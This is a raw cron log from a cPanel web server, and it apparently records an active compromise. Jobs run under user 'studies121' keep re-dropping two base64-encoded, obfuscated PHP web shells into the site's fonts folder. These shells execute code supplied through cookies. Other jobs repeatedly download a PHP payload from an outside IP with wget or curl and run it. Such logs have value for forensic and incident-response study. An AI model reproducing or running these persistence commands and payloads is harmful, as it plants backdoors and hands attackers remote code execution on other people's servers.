Sep  5 04:32:01 ip-184-168-122-23 CROND[8049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:32:01 ip-184-168-122-23 CROND[8051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:32:01 ip-184-168-122-23 CROND[8050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:33:01 ip-184-168-122-23 CROND[8155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:33:01 ip-184-168-122-23 CROND[8156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:33:01 ip-184-168-122-23 CROND[8158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:33:02 ip-184-168-122-23 CROND[8159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:34:01 ip-184-168-122-23 CROND[8249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:34:01 ip-184-168-122-23 CROND[8251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:34:01 ip-184-168-122-23 CROND[8253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:34:01 ip-184-168-122-23 CROND[8254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:34:01 ip-184-168-122-23 CROND[8257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8383]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:35:01 ip-184-168-122-23 CROND[8388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:35:01 ip-184-168-122-23 CROND[8394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:36:01 ip-184-168-122-23 CROND[8530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:36:01 ip-184-168-122-23 CROND[8529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:36:01 ip-184-168-122-23 CROND[8531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:36:01 ip-184-168-122-23 CROND[8532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:36:01 ip-184-168-122-23 CROND[8533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:37:01 ip-184-168-122-23 CROND[8629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:37:01 ip-184-168-122-23 CROND[8630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:37:01 ip-184-168-122-23 CROND[8631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:37:01 ip-184-168-122-23 CROND[8633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:38:01 ip-184-168-122-23 CROND[8727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:38:01 ip-184-168-122-23 CROND[8732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:38:01 ip-184-168-122-23 CROND[8729]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  5 04:38:01 ip-184-168-122-23 CROND[8730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:38:01 ip-184-168-122-23 CROND[8733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:38:01 ip-184-168-122-23 CROND[8731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:39:01 ip-184-168-122-23 CROND[9178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:39:01 ip-184-168-122-23 CROND[9179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:39:01 ip-184-168-122-23 CROND[9180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:39:01 ip-184-168-122-23 CROND[9182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:39:01 ip-184-168-122-23 CROND[9181]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 04:40:01 ip-184-168-122-23 CROND[9931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:40:01 ip-184-168-122-23 CROND[9935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:40:01 ip-184-168-122-23 CROND[9933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:40:01 ip-184-168-122-23 CROND[9934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:40:01 ip-184-168-122-23 CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:40:01 ip-184-168-122-23 CROND[9938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:40:01 ip-184-168-122-23 CROND[9939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:40:01 ip-184-168-122-23 CROND[9937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:41:01 ip-184-168-122-23 CROND[10402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:41:01 ip-184-168-122-23 CROND[10404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:41:01 ip-184-168-122-23 CROND[10403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:41:01 ip-184-168-122-23 CROND[10405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:42:01 ip-184-168-122-23 CROND[10484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:42:01 ip-184-168-122-23 CROND[10485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:42:01 ip-184-168-122-23 CROND[10486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:42:01 ip-184-168-122-23 CROND[10487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:42:01 ip-184-168-122-23 CROND[10488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:43:01 ip-184-168-122-23 CROND[10576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:43:01 ip-184-168-122-23 CROND[10578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:43:01 ip-184-168-122-23 CROND[10579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:43:01 ip-184-168-122-23 CROND[10580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:44:01 ip-184-168-122-23 CROND[10688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:44:01 ip-184-168-122-23 CROND[10686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
